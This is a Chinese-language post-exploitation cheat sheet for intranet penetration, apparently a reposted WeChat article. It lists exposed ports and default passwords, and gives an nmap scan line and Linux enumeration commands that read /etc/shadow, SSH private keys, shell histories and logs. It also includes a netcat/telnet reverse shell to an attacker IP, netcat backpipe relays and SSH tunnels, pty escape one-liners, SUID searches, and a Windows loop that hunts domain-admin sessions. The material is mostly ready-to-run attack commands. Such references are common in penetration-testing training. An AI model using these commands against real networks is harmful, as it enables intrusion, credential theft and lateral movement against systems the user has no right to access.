内网渗透合集(一)

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所属分类:安全文章

常见脆弱端口扫描

21 ftp 主要看是否支持匿名,也可以跑弱口令
80 web 常见web漏洞以及是否为一些管理后台
443 openssl 心脏滴血以及一些web漏洞测试
873 rsync 主要看是否支持匿名,也可以跑弱口令
2601,2604 zebra路由,默认密码zebra
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网

5900 vnc
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis 一般无认证,可直接访问

7001的weblogic,默认弱口令,8080的tomcat,默认弱口令

8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
9200 elasticsearch
11211 memcache 未授权访问
27017 mongodb 未授权访问
28017 mongodb统计页面

50000端口SAP命令执行

2222 DA虚拟主机管理系统登陆 (国外用较多)
2082/2083 cpanel主机管理系统登陆 (国外用较多)
3312/3311 kangle主机管理系统登陆
8083 Vestacp主机管理系统 (国外用较多)
7778 Kloxo主机控制面板登录
10000 Virtualmin/Webmin 服务器虚拟主机管理系统

附上自己平时用的nmap命令,由于之前发包太大vps被封过一次,所以加了一些限速的参数
./nmap -sT -sV -p 21,80,443,873,2601,2604,3128,4440,6082,6379,8000,8008,8080,8081,8090,8099,8088,8888,9000,9090,9200,11211,27017,28017 --max-hostgroup 10 --max-parallelism 10 --max-rtt-timeout 1000ms --host-timeout 800s --max-scan-delay 2000ms -iL iplist.txt -oN result/port.txt --open

获得操作系统版本

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release

获得内核版本

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz

正在运行的服务

ps aux
ps -ef
top
cat /etc/service

哪些服务具有root权限

ps aux | grep root
ps -ef | grep root

安装了哪些程序,版本,以及正在运行的

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

服务的配置文件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

工作计划

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

网络配置

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

其他用户主机与系统的通信?

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lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

缓存?IP和/或MAC地址?

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arp -e

route

/sbin/route -nee

数据包可能嗅探吗?可以看出什么?监听流量

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# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

你如何get一个shell?你如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

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nc -lvp 4444 # Attacker. 输入 (命令)

nc -lvp 4445 # Attacker. 输出(结果)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!

如何端口转发?(端口重定向)

# rinetd

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# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

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# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

#ssh

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# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port

#mknod

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# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)

建立隧道可能吗?本地,远程发送命令

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ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

  • 秘密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

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id

who

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last

cat /etc/passwd | cut -d: # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd # List of super users

cat /etc/sudoers

sudo -l

可以找到什么敏感文件?

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cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

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ls -ahlR /root/

ls -ahlR /home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

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cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

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cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

可以找到什么样的用户信息

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cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

private-key 信息能否被发现?

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cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

  • 文件系统

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

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ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

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ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner

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ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group

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ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

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find /etc/ -readable -type f 2>/dev/null # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

在/ var /有什么可以发现?

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ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

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ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

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cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

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ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导......)

如果命令限制,你可以打出哪些突破它的限制?

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python -c 'import pty;pty.spawn("/bin/bash")'

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echo os.system('/bin/bash')

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/bin/sh -i

如何安装文件系统?

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mount

df -h

是否有挂载的文件系统?

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cat /etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

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find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID

for i in `locate -r "bin$"`; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)


# findstarting at root (/), SGIDorSUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)


find/-perm -g=s-o-perm -4000! -type l-maxdepth 3 -exec ls -ld {} ;2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

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find / -writable -type d 2>/dev/null # world-writeable folders

find / -perm -222 -type d 2>/dev/null # world-writeable folders

find / -perm -o+w -type d 2>/dev/null # world-writeable folders

find / -perm -o+x -type d 2>/dev/null # world-executable folders

find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # world-writeable & executable folders

Any "problem" files?可写的的,“没有使用"的文件

find / -xdev -type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files

find /dir -xdev ( -nouser -o -nogroup ) -print # Noowner files

  • 准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

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find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

如何上传文件?

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find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

内网渗透合集(一)

下面这个Windows命令行脚本将扫描远程系统活跃域管理会话。

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for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

你也可以使用nbtscan工具

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for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

使用cobalt strike探测内网,执行arp scan扫描机器,add route添加路由,调用msf各个扫描模块或nmap对网内的机器开放端口版本操作系统类型进行探测。

linux系统中常见路径

内网渗透合集(一)
内网渗透合集(一)

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本文始发于微信公众号(关注安全技术):内网渗透合集(一)

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